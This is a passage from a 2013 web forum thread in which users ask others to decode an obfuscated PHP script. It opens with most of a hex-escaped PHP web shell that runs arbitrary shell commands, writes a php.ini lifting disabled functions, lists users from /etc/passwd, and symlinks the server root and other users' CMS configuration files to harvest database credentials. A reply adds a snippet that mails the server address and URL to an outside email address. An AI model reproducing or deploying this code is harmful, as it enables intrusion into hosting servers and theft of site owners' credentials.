\x61lign=\"cen\x74er\x22><\x66ont\x20f\x61\x63\x65\x3d\"\x56\x65\x72\x64\x61\x6ea\" \x73\x69\x7ae\x3d\x22\x31\x22><f\x6fnt \x63\x6flo\x72=\x22\x77h\x69\x74e\"\x3e\x20D\x6fne ! </f\x6fn\x74\x3e\x3c\x62r\x3e";}else{echo"<f\x6fn\x74\x20color\x3d\"\x23\x46\x46000\x30\">\x46a\x69le\x64 ! \x3c/fo\x6e\x74></p\x3e\n\n";}}${"\x47L\x4f\x42\x41\x4c\x53"}["\x63\x6cg\x71ebi"]="\x63m\x64";${"\x47\x4cO\x42\x41LS"}["f\x66a\x73\x66\x72"]="\x62t";${"GL\x4fBAL\x53"}["\x79\x6ahokv\x69\x63\x69\x73"]="\x72\x74";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62\x77\x64\x63iy\x64\x63a"]="\x75\x73\x72";echo "</b\x6fdy\x3e\n<h\x72 \x63o\x6c\x6fr=\x22re\x64\"\x3e\n\x3c\x62ody \x74ex\x74\x3dre\x64>\n<f\x6fr\x6d \x6d\x65\x74h\x6fd=POST\x3e\x3c\x70re\x3e[\x72o\x6f\x74@";${"\x47\x4cOB\x41\x4c\x53"}["\x76r\x76z\x6f\x68k\x7ar\x79\x62\x6f"]="\x66";echo$_SERVER["S\x45R\x56\x45\x52_\x4e\x41\x4d\x45"];echo "\x20~]\x20\x23 <\x69\x6ep\x75\x74\x20\x74yp\x65=T\x45\x58\x54 n\x61me=\x22-c\x6dd\x22 \x73ize\x3d64\x20\x76a\x6cue=\x22";echo ${${"\x47L\x4fB\x41\x4c\x53"}["ole\x70vru\x6e\x65"]};echo "\"\x20\ns\x74yle\x3d\"\x66\x6fnt-fami\x6cy: \x43\x6furi\x65\x72 \x4e\x65\x77;\"\x3e\x20\n\x3c/ce\x6e\x74er\x3e\n";${${"\x47\x4c\x4fB\x41LS"}["\x6f\x6c\x65p\x76r\x75ne"]}=$_REQUEST["-\x63\x6d\x64"];echo " \n";if(${${"\x47\x4cO\x42A\x4c\x53"}["\x6f\x6cepv\x72\x75\x6ee"]}!="")print Shell_Exec(${${"\x47\x4c\x4f\x42\x41\x4cS"}["cl\x67q\x65\x62\x69"]});echo "\x3c/\x70r\x65\x3e<\x68\x72 \x63olo\x72\x3d\"\x72\x65\x64\"><\x63\x65\x6eter><\x66\x6f\x6et\x20\x73\x69\x7a\x65=1>\n<\x63e\x6e\x74er>\n<f\x6fr\x6d met\x68od\x3dp\x6fs\x74\x3e\x3c\x69n\x70u\x74 \x74ype\x3d\x73ub\x6di\x74\x20\x6e\x61\x6d\x65=\x69\x6e\x69\x20va\x6c\x75\x65\x3d\"\x50\x48\x50\x2eI\x4e\x49\"\x20/\x3e\n\x3cfo\x72\x6d met\x68\x6f\x64=po\x73t><\x69n\x70u\x74\x20typ\x65\x3ds\x75\x62\x6d\x69\x74\x20nam\x65\x3d\"\x75\x73re\" value=\"C\x52\x41\x43\x4bE\x52\" /\x3e\x3c/f\x6f\x72\x6d>\x3c/\x66\x6frm>\n\t";${"GL\x4f\x42A\x4c\x53"}["\x6dy\x75\x69\x74\x75\x76u\x6aj"]="\x67";${"\x47\x4cO\x42\x41LS"}["\x63\x67\x6f\x71\x6f\x62xyhn"]="li\x6e\x6b";if(isset($_POST["i\x6e\x69"])){${"G\x4cO\x42\x41\x4c\x53"}["v\x75m\x75kwwe\x6b\x6b"]="r";${${"\x47\x4cOB\x41\x4cS"}["\x69\x65\x63\x65\x6e\x65"]}=fopen("\x70\x68\x70\x2ein\x69","\x77");${${"\x47\x4cO\x42\x41\x4c\x53"}["w\x72m\x62iy\x74\x77\x6f\x72\x62"]}=" d\x69sba\x6ce\x5ff\x75n\x63tion\x73=n\x6f\x6e\x65\x20";${"\x47\x4c\x4f\x42AL\x53"}["\x6d\x74\x6dpvs\x6e"]="\x72\x72";fwrite(${${"G\x4cO\x42A\x4c\x53"}["v\x75\x6duk\x77wekk"]},${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6dt\x6dp\x76sn"]});${"GL\x4f\x42\x41\x4c\x53"}["\x79\x65\x70s\x6a\x65\x76\x78"]="l\x69n\x6b";${${"\x47\x4c\x4fB\x41L\x53"}["\x63\x67\x6f\x71o\x62\x78\x79\x68\x6e"]}="\x3cbr\x3e\x3ca\x20\x68ref\x3dp\x68\x70\x2ei\x6ei\x3e\x3cfo\x6e\x74\x20colo\x72\x3d\x77hite\x20\x73\x69\x7a\x65\x3d\x32 \x66\x61\x63e\x3d\"T\x41\x48O\x4dA\x22>\x3cu>\x3cfo\x6et\x20colo\x72=\x72e\x64>\x44ON\x45</\x66\x6fn\x74>\x20\x4f\x70en\x20\x74\x68\x69\x73 l\x69\x6ek in n\x65\x77\x20\x74\x61\x62\x20\x74\x6f r\x75\x6e\x20\x50\x48P\x2eINI\x3c/u></f\x6fnt\x3e\x3c/a>";echo${${"\x47\x4c\x4fB\x41\x4cS"}["\x79\x65\x70s\x6a\x65\x76\x78"]};}${"GLO\x42\x41L\x53"}["\x72\x6ck\x75qrm\x76ws\x6c"]="\x63onf\x69\x67\x75r\x61\x74io\x6e";if(isset($_POST["u\x73r\x65"])){${"G\x4c\x4f\x42\x41\x4c\x53"}["\x78\x74u\x6f\x63\x62\x78\x72\x74"]="\x75\x73\x65r\x73";$scnobness="u\x73er";echo "\x3cf\x6f\x72m\x20\x6d\x65\x74\x68\x6fd=\x70\x6fst>\n\t\x3c\x74\x65x\x74\x61\x72e\x61 \x72ow\x73\x3d\x31\x30 c\x6f\x6cs=5\x30\x20n\x61m\x65=us\x65r>";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x78t\x75\x6fc\x62\x78\x72\x74"]}=file("/\x65t\x63/\x70asswd");foreach(${${"G\x4cOBA\x4c\x53"}["vil\x76ziz\x67f"]} as${$scnobness}){$qvczwdvvd="\x73\x74\x72";$turapxlgh="s\x74\x72";${"GLO\x42\x41L\x53"}["\x6eu\x75e\x76\x72\x69\x67\x75\x76"]="us\x65\x72";${$qvczwdvvd}=explode(":",${${"GL\x4f\x42\x41L\x53"}["\x6e\x75\x75e\x76\x72\x69\x67uv"]});echo${$turapxlgh}[0]."\n";}echo "\x3c/textar\x65\x61\x3e<\x62\x72\x3e<br>\n\t\x3c\x69n\x70u\x74 ty\x70e=submit name=s\x75\x20\x76al\x75e\x3d\x22S\x74ar\x74 \x43ra\x63\x6b\x69ng\"\x20/\x3e\x3c/\x66\x6fr\x6d\x3e\n\t";}echo "\t";error_reporting(0);echo"<font\x20co\x6c\x6fr=re\x64 s\x69\x7a\x65\x3d2 fa\x63e=\"\x54\x41\x48\x4fMA\">";if(isset($_POST["\x73\x75"])){$sucweufll="\x67";mkdir("\x62t",0777);${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77\x72\x6d\x62i\x79t\x77o\x72\x62"]}="\x20O\x70tion\x73 \x61\x6c\x6c\x20\n \x44ir\x65\x63\x74\x6fry\x49\x6ede\x78\x20S\x75\x78\x2e\x68\x74m\x6c \n \x41dd\x54\x79p\x65\x20te\x78t/\x70lai\x6e \x2ep\x68p\x20\n\x20\x41d\x64H\x61\x6e\x64l\x65\x72 se\x72v\x65r-\x70\x61\x72\x73\x65\x64\x20.ph\x70\x20\n \x20A\x64dTy\x70\x65 t\x65xt/\x70la\x69\x6e\x20.ht\x6d\x6c \n \x41d\x64\x48a\x6e\x64l\x65\x72 \x74\x78t \x2eht\x6d\x6c\x20\n R\x65\x71uire N\x6fn\x65\x20\n\x20Sa\x74i\x73fy\x20An\x79";${$sucweufll}=fopen("b\x74/\x2ehtac\x63\x65ss","\x77");fwrite(${${"G\x4c\x4f\x42AL\x53"}["\x6dy\x75\x69t\x75\x76\x75jj"]},${${"\x47\x4c\x4fB\x41\x4cS"}["\x77\x72\x6d\x62\x69\x79t\x77\x6f\x72\x62"]});${${"\x47\x4c\x4f\x42AL\x53"}["\x66\x66\x61\x73\x66\x72"]}=symlink("/","bt/\x72o\x6f\x74");${"\x47\x4cO\x42\x41L\x53"}["l\x62r\x75\x78\x77\x63mx\x75f"]="\x72";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x79jh\x6f\x6b\x76i\x63i\x73"]}="\x3c\x62\x72>\x3ca\x20\x68r\x65f=\x62t/roo\x74><fo\x6e\x74 \x63o\x6cor=\x77hi\x74\x65 s\x69z\x65\x3d3 fac\x65\x3d\x22T\x41HO\x4d\x41\">\x20r\x6fo\x74 </f\x6f\x6e\x74>\x3c/a\x3e<\x66\x6f\x6et col\x6f\x72\x3dr\x65d s\x69\x7ae\x3d\x33 f\x61\x63e=\x22T\x41\x48OMA\"> \x7e </fo\x6e\x74\x3e";${"G\x4c\x4fB\x41\x4c\x53"}["\x65tumm\x68\x64"]="\x66";echo"<u\x3e$rt</u>";${${"\x47\x4c\x4fBA\x4c\x53"}["\x7a\x6c\x68\x68\x67m"]}=mkdir("B\x54",0777);${${"\x47\x4c\x4f\x42AL\x53"}["\x69ec\x65\x6e\x65"]}="\x20\x4fp\x74i\x6fns\x20\x61l\x6c \n \x44i\x72e\x63\x74\x6f\x72yIn\x64\x65\x78\x20\x53u\x78.html\x20\n\x20Add\x54y\x70e \x74\x65x\x74/\x70l\x61\x69n\x20\x2ephp \n\x20\x41\x64\x64\x48\x61\x6edler\x20\x73erv\x65\x72-\x70\x61\x72s\x65d \x2e\x70\x68\x70 \n\x20 \x41d\x64T\x79\x70e\x20t\x65\x78\x74/p\x6c\x61i\x6e\x20.h\x74ml \n \x41\x64\x64\x48a\x6ed\x6c\x65r\x20t\x78t .ht\x6dl \n\x20R\x65\x71ui\x72\x65\x20\x4eone \n S\x61\x74is\x66y \x41ny";${${"\x47\x4cOBA\x4cS"}["vrv\x7a\x6f\x68\x6bz\x72\x79b\x6f"]}=fopen("B\x54/.\x68t\x61c\x63e\x73s","w");fwrite(${${"\x47L\x4f\x42A\x4cS"}["\x65t\x75\x6d\x6d\x68d"]},${${"\x47\x4c\x4fBA\x4c\x53"}["\x6cb\x72\x75\x78\x77\x63\x6d\x78\x75\x66"]});${${"\x47\x4cO\x42\x41\x4c\x53"}["\x72\x72\x6ed\x71\x72\x67\x78\x71\x70v\x77"]}="<a h\x72\x65\x66=\x42\x54/>\x3c\x66o\x6e\x74 c\x6f\x6c\x6f\x72\x3dwh\x69te s\x69z\x65\x3d\x33 fa\x63e\x3d\x22\x54\x41\x48\x4fM\x41\x22\x3e \x20\x63\x6f\x6e\x66igs\x20\x3c/\x66\x6f\x6et></a>";echo"\x3c\x75>$consym</\x75>";${${"\x47L\x4f\x42A\x4cS"}["\x62\x77d\x63i\x79d\x63a"]}=explode("\n",$_POST["us\x65r"]);${${"GLO\x42\x41\x4c\x53"}["\x72lku\x71\x72\x6d\x76\x77\x73l"]}=array("\x77p-con\x66i\x67\x2ep\x68p","wor\x64p\x72\x65s\x73/w\x70-conf\x69\x67.\x70\x68\x70","con\x66igurat\x69\x6f\x6e\x2ep\x68\x70","bl\x6fg/w\x70-\x63\x6f\x6efi\x67.\x70h\x70","\x6a\x6fom\x6ca/conf\x69\x67u\x72a\x74\x69\x6fn.p\x68p","s\x69\x74e/wp-co\x6efi\x67\x2eph\x70","si\x74e/\x63\x6fn\x66\x69gu\x72a\x74ion\x2ep\x68\x70","\x63\x6d\x73/\x63\x6f\x6efig\x75r\x61\x74\x69on\x2e\x70hp","\x76b/\x69\x6e\x63ludes/\x63o\x6ef\x69g\x2ephp","\x69\x6ecl\x75\x64\x65s/\x63o\x6e\x66\x69\x67\x2e\x70\x68\x70","co\x6e\x66\x5fgloba\x6c\x2e\x70\x68\x70","inc/c\x6fn\x66i\x67.\x70h\x70","\x63o\x6ef\x69\x67.\x70h\x70","\x53\x65\x74\x74i\x6egs.p\x68p","\x73\x69t\x65s/\x64ef\x61u\x6c\x74/\x73\x65\x74ti\x6e\x67s.p\x68\x70","w\x68\x6d/\x63on\x66i\x67u\x72a\x74\x69on.p\x68\x70","whm\x63s/\x63on\x66\x69g\x75\x72\x61t\x69o\x6e\x2eph\x70","\x73\x75p\x70o\x72\x74/conf\x69gu\x72a\x74ion.php","\x77\x68m\x63/\x57H\x4d/\x63\x6fnfi\x67\x75\x72a\x74io\x6e.ph\x70","wh\x6d/\x57H\x4dCS/co\x6e\x66igu\x72atio\x6e\x2e\x70\x68p","wh\x6d/\x77h\x6dc\x73/\x63\x6fn\x66i\x67\x75r\x61\x74i\x6f\x6e\x2e\x70\x68\x70","\x73\x75p\x70o\x72\x74/con\x66\x69g\x75\x72a\x74ion\x2e\x70\x68p","cl\x69\x65\x6e\x74\x73/c\x6f\x6e\x66\x69g\x75\x72\x61t\x69\x6fn.p\x68\x70","cl\x69ent/\x63onf\x69\x67ur\x61\x74i\x6fn\x2eph\x70","\x63lie\x6e\x74\x65s/c\x6fn\x66\x69g\x75ration\x2e\x70\x68p","\x63l\x69e\x6e\x74\x65/co\x6efi\x67\x75\x72\x61t\x69\x6fn\x2eph\x70","\x63li\x65\x6et\x73u\x70p\x6frt/\x63\x6fn\x66\x69gurat\x69\x6f\x6e\x2ep\x68\x70","b\x69\x6c\x6c\x69\x6e\x67/\x63o\x6efi\x67u\x72a\x74\x69\x6f\x6e.\x70\x68\x70","\x61dmin/con\x66\x69\x67\x2ephp","\x61\x64\x6d/c\x6fn\x66\x69g\x2e\x70\x68\x70","c\x6d\x73/c\x6fnfi\x67\x2e\x70\x68\x70");foreach(${${"G\x4c\x4f\x42A\x4c\x53"}["\x62\x77\x64\x63iydc\x61"]} as${${"\x47\x4cO\x42\x41\x4c\x53"}["x\x69\x79i\x6e\x7a\x76w\x79z\x76\x6a"]}){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75r\x79\x6cn\x6e\x6e\x73i\x64\x75\x67"]="\x75s";${"\x47L\x4f\x42\x41\x4c\x53"}["\x70\x6fn\x70en\x6f"]="\x63\x6f\x6e\x66i\x67\x75ra\x74i\x6f\x6e";${"G\x4c\x4f\x42\x41LS"}["\x7akrwk\x6a\x6cr\x64\x61"]="\x63";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["u\x72\x79\x6cn\x6en\x73idu\x67"]}=trim(${${"\x47\x4cOBA\x4c\x53"}["\x78iyi\x6e\x7a\x76\x77yz\x76j"]});foreach(${${"\x47\x4cO\x42A\x4c\x53"}["\x70\x6f\x6e\x70\x65\x6e\x6f"]} as${${"\x47\x4cO\x42A\x4cS"}["\x7akr\x77\x6b\x6a\x6cr\x64\x61"]}){$vhcoibtymil="u\x73";${${"G\x4c\x4f\x42\x41L\x53"}["\x79v\x70q\x64h"]}="/\x68ome/".${$vhcoibtymil}."/\x70u\x62\x6c\x69c_\x68t\x6dl/".${${"\x47\x4cOBA\x4c\x53"}["\x6cs\x71\x74x\x61n"]};$cjyugouqtl="\x75s";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x65\x63e\x6ee"]}="B\x54/".${$cjyugouqtl}." .\x2e ".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["ls\x71t\x78an"]};symlink(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79\x76\x70\x71\x64\x68"]},${${"\x47\x4c\x4fB\x41L\x53"}["i\x65\x63\x65\x6ee"]});}}}echo "\x3c\x68\x72 co\x6cor\x3d\x22\x72\x65\x64\x22\x3e\n</h\x74ml>\n";
?> |
|
|
|
|
|
|
|
Re: Please..decode this script. |
|
| Posted: Wed Mar 06, 2013 11:24 am |
|
|
| vv456 |
| Advanced user |
 |
| |
| Joined: Aug 24, 2012 |
| Posts: 190 |
|
|
|
|
|
|
|
|
|
|
|
|
Re: Please..decode this script. |
|
| Posted: Thu Mar 07, 2013 9:47 am |
|
|
| MeNinBoX |
| Regular user |
|
| |
| Joined: Mar 06, 2013 |
| Posts: 16 |
|
|
|
|
|
|
|
|
|
|
|
|
Re: Please..decode this script. |
|
| Posted: Thu Mar 07, 2013 11:40 am |
|
|
| vv456 |
| Advanced user |
|
| |
| Joined: Aug 24, 2012 |
| Posts: 190 |
|
|
|
|
|
|
|
| MeNinBoX wrote: |
Not running brother. |
try this
| Code: | <?php
$url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
mail('albanian619@gmail.com',$_SERVER['SERVER_ADDR'],$url);
$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']);
?> |
|
|
|
|
|
|
Re: Please..decode this script. |
|
| Posted: Thu Mar 07, 2013 12:14 pm |
|
|
| pirate-sky |
| Advanced user |
|
| |
| Joined: Dec 17, 2012 |
| Posts: 75 |
|
|
|
|
|
|
|
|
|
|
|
| Posted: Fri Mar 08, 2013 3:26 am |
|
|
| MeNinBoX |
| Regular user |
|
| |
| Joined: Mar 06, 2013 |
| Posts: 16 |
|
|
|
|
|
|
|
Thank you so much my brothers.
pirate-sky
vv456
I am very grateful for your help |
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
